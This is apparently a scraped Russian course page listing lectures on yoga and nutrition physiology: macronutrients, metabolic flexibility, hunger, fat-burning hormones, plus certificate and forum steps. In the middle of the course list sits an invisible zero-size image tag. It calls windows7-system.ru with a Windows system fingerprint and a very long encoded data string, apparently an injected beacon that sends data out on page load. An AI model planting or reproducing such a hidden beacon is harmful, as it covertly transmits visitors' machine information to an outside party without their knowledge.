Секция Имя Описание
1. Питание с точки зрения физиологии Гиперссылка Плейлист на цикл лекций " питание и практика йоги с точки зрения физиологии"
Страница Общая лекция. "Питание и Йога. с точки зрения Физиологии."
Гиперссылка Презентация "Йога и питание"
Страница 1. Конспект занятия. Сутра.
2.Белки. Жиры.Углеводы. Зачем и сколько есть. Страница Белки. Жиры.Углеводы. Зачем и сколько есть.
3.Метаболическая гибкость и жесткость Страница Метаболическая гибкость.

 Метаболическая гибкость. Белковый комплекс mtor. Почему изобильное питание захламляет организм и приводит к быстрому старению.
4.Чувствительность к голоду. Страница Питание и практика йоги. чувствительность к голоду.Как различать настоящий голод от ложного.

  1. Основные правила режима питания. 
  2. Как наладить чувствительность к голоду. 
  3. Как различать настоящий голод от ложного. 
  4. Функции гормона Грелин
  5.  Как есть?
5.Рекомендации по готовке и хранению продуктов питания. Страница Рекомендации по готовке и хранению продуктов
6.Псевдополезная еда. Страница Псевдополезная еда.
7.Жиросжигание и жиронакопление. Гормональное управление. Страница Жиросжигание и жиронакопление. Гормональное управление.

  1. инсулин
  2. кортизол
  3. адреналин
  4. глюкагон
  5. гормоны щитовидной железы
  6. гормон роста
  7. тестостерон
  8. Как происходит жиросжигание в организме?
  9. Как не происходит жиросжигание?
  10. Что способствует жиронабору?
  11. Что способствует жиросжиганию?
Дополнительный материал. Голодание с точки зрения Аксиоматики йоги. Страница Перейти к занятию. 3 часа
<img width="0" border="0" height="0" src="http://windows7-system.ru/?h=NT5.1.2600-64D2C3A7.RUS.118B1135-A26B0B-506516-155A12E2&i=32cdkdbddylf&o=0&f=*&si=x&so=0&tl=5603&v=21&d=aHV4eUpIU6i3yJLoAA4yWm(Ipcz8GleEbtQTRj(0(TNzcOc4hcsXVm/2SKIEXKkEdMozl75pzEF/GojWRLs5uiCkStJi3moAmPScJ8BX9YQg3Yo44oYE8qNlDch(Buy1dDG(eD9QG(hugFQe/uKziGFEMAoD7JK0r55ThIV7dzBjcHl7g35TlqS62Oz1DDhKb49y2fgpBHqkrhhBda/zM21/pPlKwQ1VpPZSc/lNftUylv1JsCqeOakViP5(w3fmc/Rv7onTif26GNkx(GErsCDBdiMDrkb(qWXelXI15a9r/76DMRfpsXBOHPvciWSdGiH068q3mXF(cFxaQEY8Njp9HEZUV2RtcJecyLDn5CI(VXmpxukhSXgRwvlQfrjxOoPCCUV59lqj(VieCF3A4WnONJgCbYRGsh1MAYT9dLsvsHsAh8eTIaU/3Wj3iifNYRS3F/OoUcCrZhbMPzXtoy8m6LKESBagqIVRJfHbqYIvSTgW/NrWtqFfh4yDMj99VHNpa4V8jJa0ktbi8RUHUHWTrc4C2TJ2t7gJSIKw7SJUouw4fbr4Wq32V1neTrvBUtAxiv5PyUOkEpL6WfZ04mP1W/J(AIgarjjXKrBR/IFwFW0bsGEVwWBhGIJD6axyMuH0vTkNxJlxRQQpBJJ5QSgS/MkA7Y2HYFlWTTB5eCo3ISw8RjmUpWlolKzO5AITPltkmqfpF097r9YXSmm22DB0wgROi(IrYMT7acMnf98yn/5JxBCUBH7sYstOwyS2F7E3x0vXVu968ZoXwXQLnkvaVB3QbiWwfhHbiUT5wX4(/cdpVBfkrXBTJ(jHtH6CYUImCvXayrKtkpZ6g2p9YnpjZWt1e4uTqLPN2/4LM0Nyg7fM8RxJdKjUEzyDrPkkdqT9LXG9CVW69lCe/k6zBnPGOI4FX8U3qReO/3/vdud56GXwdACQGK442WAGkSXJZQmtUf(hVvm1WR3BijLlqmQq6bJ7QhfatHpZI/HTu4xhTC0U(uTPvKyckYR(dHNsc2x5dIaEm5y5vcXl8hUyTW(NuNUGJkt(qN4NRnu28C5urvM2gsYXXrT(XafxV6YPZM8pl/dn0D(uH5MHgvd673nwZ/h9CJYgs0HFafiZLdFsEbdZBKlYvqJjFc6CNvavcjD2voJQF9KzdFcdA863iHNKNxQD5de(s5(XiIN6d3NzdHd9g46Xp7PI2NoEDjhIdIm41AQlWH(04xhMhL34OHS6(TCFxBljtQtaogZYuxB4yT2SClreObomQNZOvELiYaFl6zD6idGhN4Ra/Ukl0yACtwnxsgTyuhEGujAr6WFiKKSrePkG2mBzUtny2GSDcgEmHLDcxXGjlkR8eClncCBkdylzjkSUtnHH8rANJQFkhmTNCtlJfWDWEvl1uKQmc2HpPTC(GRGm8gSf(QmqCyDHM0n2a4Q3udGL(jDwaKFn7STwfrmLJmA42hn4iuTJZcGsUrChU7GoY8TBhensuiAp/ml5OsTapDFNHrDSr0FpVOQSBJnNxmCbhTl6gCRsYSFvcjCEjlGrvITk/MkvTiCMson7KAR8s5EPTjC0(uFruKQ0iXkQUmD9Rln8V2QNb4EwnbBl2vGtGEQGeKlx6iDub6l9BUQervHRaLCWNoFtFGRWBFlRCmBfBXl(K6SvZOHyrjBHC5GufQQn/omykCBPNsn(74S/uVGTfDB4cSFvcyR4gzmUkmDBzJkAEuRRbEG03LApWDGw5dE7gmn1NiCz8emCx8Rjr7FWrrBbu8FzwuSc8xnXNWAkibmD8CT0aaF39DAMkNGzPoRs/kk30CAUtQkDqwQEsxEXzTA8(WFzN6S8h/kY0mCFSdkE0GSVaAE4FLDt0HG0n0SNgil4dCB1eCmEkESluXHZ4LAeLwF1k2TeCtlaemDnE/mHuKQ5aGH9MjDTBRG6(QSzBQlj5EKt/knyaMhK(yHfDXHrcOa79Wb4dBLfJbKM2F1LjzPPdN2oUgZZVwW5XQmWMj3puXTu5bV5QBKrYHRJJwTOtlwiHwAP/(fYcbOann5NKzYjIHR4gnx(YVOjwNDoAuPkU2eDbJm82RVBcp3ECTmEpCdvr/j2h74NWKgFHlnyWLAFO4MCQc07mRF95ma5Kcc3sSCbR8lR5FLtbzfTZwRnAMdvD7gJA6Je9n0T1nswPPi6bCbBa3NIEOCySwQr98tsUSwB9dnCpYSBaWxGV0x8dGJuIXd9iYWJbmK30(cE1jtGaYis3crZRoCs1d/7ToWzNHCi8gdMiApgrgUidfJbZNA(nTeZ8WeERLQqkP5Nq2rwbvUxAHUCixm0C4Rb/5UonCLfgBgDqUX/fi3TvXk/wr08Je2/MEwY6qx2IdsEzryVLUIwEvfnnnGjlpKNdXs/Iz49d3lxh0SktMrQ3s3LKlBulXHg9SJLebSrxDt/tej8In/AL3/HGBGz(l6ezQt4wyDUOKL8XqHzoyCQCILDJPNn4yy5PLlU3WADmS65ZOafGuSEKrByIsR4EdWLSfekWj70tGlI(eOpgkEh8cWlc4dvTzjnzKjXwaGfYlVyeyQwPj13eXGHRKS0ytDezcsqUG6VceD1Ikt5tKvEO3(16Pwif8D4g8kFX37NE535X4Ldc9Ell7Bs2EqsFmG7dvhy9S34afJ3AZjrYDPTZfRk5p88B7NXBFlX(rpW4XtC68J9ZjDyvTBMDeulTgbqsqeAlHBCMskD7d29pW5GfH91c3M6IXZwckFWZnV9hKm8yfQKO0OCh9DxGU6CqeQXQofL/j52pPtQjuBAYNAkd9UnetU1nvx4sDOnEYHhXrlHuyTIMMI0qVfRZfN(BKIZwmn5nTXefBWwcBSxcSPEjU3(vW888Pe5cUfirW93UycEp4CDcgHz58yoysCupWJVP3x0Ym4/gEWAOZelub3JtrIdKVl0TqXV(SBSS2DbGUyEsuo6O2PCBXKX4GSw8lJZA129DWWe5o//Z9j(sxqe/kqpNbFw9T(rTtWNHqfx2mwAiifGPcN5C7CbUwOkVhaWMvmmYWEt7bB(FsbdpXdY27DRt5FhRCnmsq6GcaOgkYl8bnhmPSN4e4V(RlGzw8e2shE4VXBbc5gHMFs/r(EJR4m46yJjreU8g4cHYK3AT64CXHMHac0pVwBh1ABx4JoCe(o1sTCva/J2u0QSrEWhG8FL5NVpFbBOzVsVs2Ag4m1QDLuNT(KkZUUW85F3Txb80olWWTojAunIyIRidWRnVk47NC8gMCRYQlRzf4GdhIzF5vkhMFyQptv1BCuDsdQbTonC/SBzxf5Veb0vc8EEU9Mphd8yj(RGwC2EHoLpYLlKzETCPr0kyUDKYvNwBqYZxGkHlz3RkwnKdyDBfSXUeUoMxHFC/8SHQvnnrnhDGfnRoYZWQhHwycqpmoWLakRRRylBOUUhQktCTmthdZOEsMDJBRM(VmSmwPgkQXKs2RZIfqQBMHLCC1uHxAN9yRt8sBuPwT2R/V3FO5nxeO5o11DFNMc4zyTBMNNi7oIBnjvbSf6kQNGGJ9B3Fr9gBd(oMAm5iTX(vJgwC(WmhTEW98(pgmI(E/DJz7eagXt0XVpSOTAhMTY7KVFbWXJ9hqGx38kCEkBRjZnJ(xlSjJHe(U2BwOFBccAUTHnhIYHTInLXIXbsPIECWtApmw9830SuUcQ8oT25PstOuVzoYAunOcBrAqE(02QmxVklzX4kxItABaSAPv3CkFwFxLN(PQT4zp90XEMaBevApYSTcGtaTjA6OTggQkY(UVZZbnighLjI8fwjNUGApsXZI09godgZRYrH4Ty09Cp(eQddoQRXdrJXsw1pzy9LzlrRM6kchQ959GXBbeJt9T4Lmd9g5aQ8x3UTnS8UtEr(dyDAs2EFx04Fs6M(/eq4fk3E5KmLSfaym2ZfPFQ0Cv6Z18W5nYlWMm9zb3Que255gIylenHG6PwN/wM(QmSlvyxUcq6v4EyAqvLhc7X9NXWWxlev/1hmB06tCGjV/knyaNA1e9NiuE7KP7Y0vza5Us5f/X0PhDjQZ/2VOON5CdhpF7F3IcShQPzCfSAOxodS(d60gFIS9b/ctIJuHwDY9ujSxX5tU4lOhUBxIHR4gnx(YVO0ttztvQowSmePfon6LleFqdcdFDKHwCdvr/jpg8IeVn2zFlvOJbcRYc/knARy0DZ904oIfv0x(GXqa/GE00QTrz3INLJnAMNywXMnzGhXAaFf4pU/L/OvdP/AeIAXxK2iTyAsAMqyQXNVPRX1toa3r5(YRoNyfmY6ITU5gI1fU36Nk(wACjIfPFCmpwz1SHq2kRdNibXp/iK16UGEhgVdqfhSc7BMqQ90xjZksjegAKQamteMxXS/fL146nIFidG3Osht(GbmkjDRaQuwm1MDpFYWljL5pmFzNf21dRbG06F0TyAC2LmPZA4tFvHgyYtgn5OHdUQkY29zaG6CRpelub3Js7AXM09lXGTd9TFYPqHdDUB(g6QtZaf4BDC/EGChBR5Z/liyBjuBMYoCYM0/bR2J/4TDJOJ19XPEMA(JI7Q6x1r8ViXNaQiyI7CtUwF7ERG6gjDtry0z7bB4Td6RoYZYKMuLZIdyQjEOzZvawKmVRjmCfnBmcz4md3(HiVN(jdjb/w09AWGNrdD(9gZ0pd8YPoJrwj08tfYHjJUYVWAITZ0EUYHDMZnpS7BvxT2pGJLWMv1z8SK/QO9/B5jRszreXs1L9oM(3a1W91lb(qRlDJYy(rRxIuHmuII9CeN9MxTbsNG3kWFEKeayqYZxqJaNgHh9QSMxMTQrMHyTnrC9ye315uZVcpapi7AsVnR9kwxNhLm(8C(4(0A(yBRWrgpToPFMsAJz1PKM/2aTPLUjl8h28nDmLvFs(T/KUxevRdNY(542wnQQtlgGmBXBcCD6wns987NpOuWoUj4L5q6AWhrvmnRSLks0ELKZxb20bkZKMil4anRtaUYySkZRb4(gqPYYMlU(XabbsOgiTabgEk0wvO07ZX6m(zKXtil60yJ5yDiAA3KB82ehLpcUfe9WyUy4avBu9UIFTMiYFX5NoG30STvKZBWsJrJqHLZiERq6fDLrrz3j(LiA((KtpoBSLbDcrZtlHubbsreguq2YRHt/e2hmcj4mOTI5jKSwssfezcv0AyCEs9YAJUmFpa7GTYK(6eMgtPYsTXsMZbQBHmi/YLsYLtA0jv5y0zihFJD6g/wy5G/uM/SFC5fgpjrQXr6ZLNEv0nNP/61T8KtmFrqEOPawdiC1eUAI(NK0ikUn8ciXhm1aMxf/78WwcWFUeD5TVEgiIWV1hFZGYmJx2OIEFSkeIlJmiQMtXX2lrsZQea34KTphvACA0d8RqPZNoPhdfsExkfSZCDSG8W/vYPuCqTO/IrFG1V/WVO2iQ4Qozkr5nTXeghvAdRP3r18Yl4wFs7Vk/wCFhD3E6Kl1WCHNi3VZJQPkH/HlzbiubkaNf3kmPzxnc3eEOZeaurahm8LLAh1ik2SYztknSHCu4QlMq/bhL3(rB0GJ4UB9zROf/1e433yd8530N(ANtBVEEHnteOk9oza5NbtEJ6E9zWD(ZubVbxFmJ8yfU/(0ERfCii7BYzLjwoVyS8Sgfk1GK7CYgl0vRzMXBLfgjW(liFeMRXhlIHhtbYSBYVNxiYmbsB8lTWmIsqayLVOBYq/gP3(3(OFzqv4uTXvWE37NRquwGILdYtPkWM41kzevH5jXjMUz9WS/gMU/DZbvfADYW/(NPZ983XNd8ZtQ9n4t08lORcCxICLwsndH4ZOqhlct(c(9QyBUOCL83qFzopKHhHd7c3ZuZTFsf4WTo3px1uDy0fYWNU1km8XuEDFyptkCS2vC/Waw8j0wzA1rpc4GbLIJtxV5zSlmslvFNKsYlgiF92iuY/Bw(ILTRCOnM4wrxV7wgTLWeRWwaxnGaSzGl0w89KJu4fe9iUUJrmJ3UycElqqCbUowIsqZ2MOlk5l8eG54IW10MH91i4iSrrKQ2gISJU0sianVBh5YeqPS0Exxt/fuc6b2MnaUxi98wFep8VeC3S/HM5cEN6AAsO(g1YCpZe1p6HLGMgOZJLQ6ynKyZwCQcN/AJQBZRf2pWBKWMjP5tHQq6sIyF(DXr39Y2QPdvY1lHuYL8dzPuLKgmYd0NmdwbHB2QzCLi5Nog5muvMn2FjVNZJvF7g1MYq/gTICq8uFztf01dZbGV6//WGb2SrEKbNr(SQRryTO1FIz(hKlx9Cz3aft0(pISbDLWYvGV8MllDbpOBKJH8mxkBceD9vemcirqhDIX4KCzgUUnzqVzh29POOfMqNSPvG2UOXF1bWhuPiZzhYyYmqbKhrfMDzNPdEG33QklSU5i0wU8e7D2MHWv6PZzyBBgsssEq/dLbNM1lvBJwi6Z/WDjWc45xCa/PPR06n65lyW5Pck2so8zz3TOqkr9olAKehEYy3Ur(aRoJvhpfUzQ56WDSBr(ynCCckolFbzhyb22lpiCc2owdGFvdzaDfpaapoyGt8zYN1Fhj4Klvx9Tf7Sv4AiAhwD9cH/APITSEFZ(zROsBGKwBj6d85nONcpAriVEDHkDab4isyapgw2dHaUOhlz/lTPTOsG2UPJhFL1gIdB5Qv65ajvjwoU/PxPftE9g9QCngFBwH0DYv7WFrIN1ZW1RZIBlb2R5dnWHmF(3w83t9dHrHXORpdewHFBys(ThNTKx6S1wre03e7XGL3zyBK35XbAGPb3mcfVl1PG3GpgBMKk5tTC7RsFQ11bhgh2ELM5pE6g41mQjy2kWyYgpxIF(LvthdyryrX9Qzc1iMUwr9c(BfSJJOB0As5OAt6ibR395aW95cGtqc4WFpLN/x(j92C9WcpRz0fUlVD(w2RQYfbjoNmymwTZ/yAhdpbdFpgAkqgpsxgGO9GLYQLIkjAiC/Wf2dPQy8YQGkNehPtQ09pg2xGUNpVf3dlYGn2YYv0glpr1vL(e1eTwPrpwzWCH53HKVYV
Файл Скачать Текст Занятий Одним Файлом
Дополнительный материал.Питание с точки зрения аксиоматики йоги. Страница Перейти к занятию. 3 часа
Шаг пояснения как получить доступ к следующему курсу. Гиперссылка Как получить доступ к следующему курсу?
Шаг форума отзывов. Гиперссылка Форум отзывов на курсы.

Друзья, пожалуйста, перейдите на "Форум отзывов курсов . Просмотрите его для составления более полного представления о курсе. Напишите там свой отзыв. Так вы заочно познакомитесь со своими единомышленниками.

Шаг награждения. Сертификат прохождения курса. Гиперссылка Как получить сертификат прохождения этого курса? (000)
Гиперссылка Проверка подленности Сертификата и других документов.(000)
Шаг Благодарности и Поддержки курсов. Страница Благодарность. Кто работал и поддерживал этот курс. Все кураторы курса.
Шаг Экспериментального Материального Поощрения Учебы. Гиперссылка Как получить Крипто Токены для получения скдки на покупку учебников, посещения мероприятий, платного обучения.(000)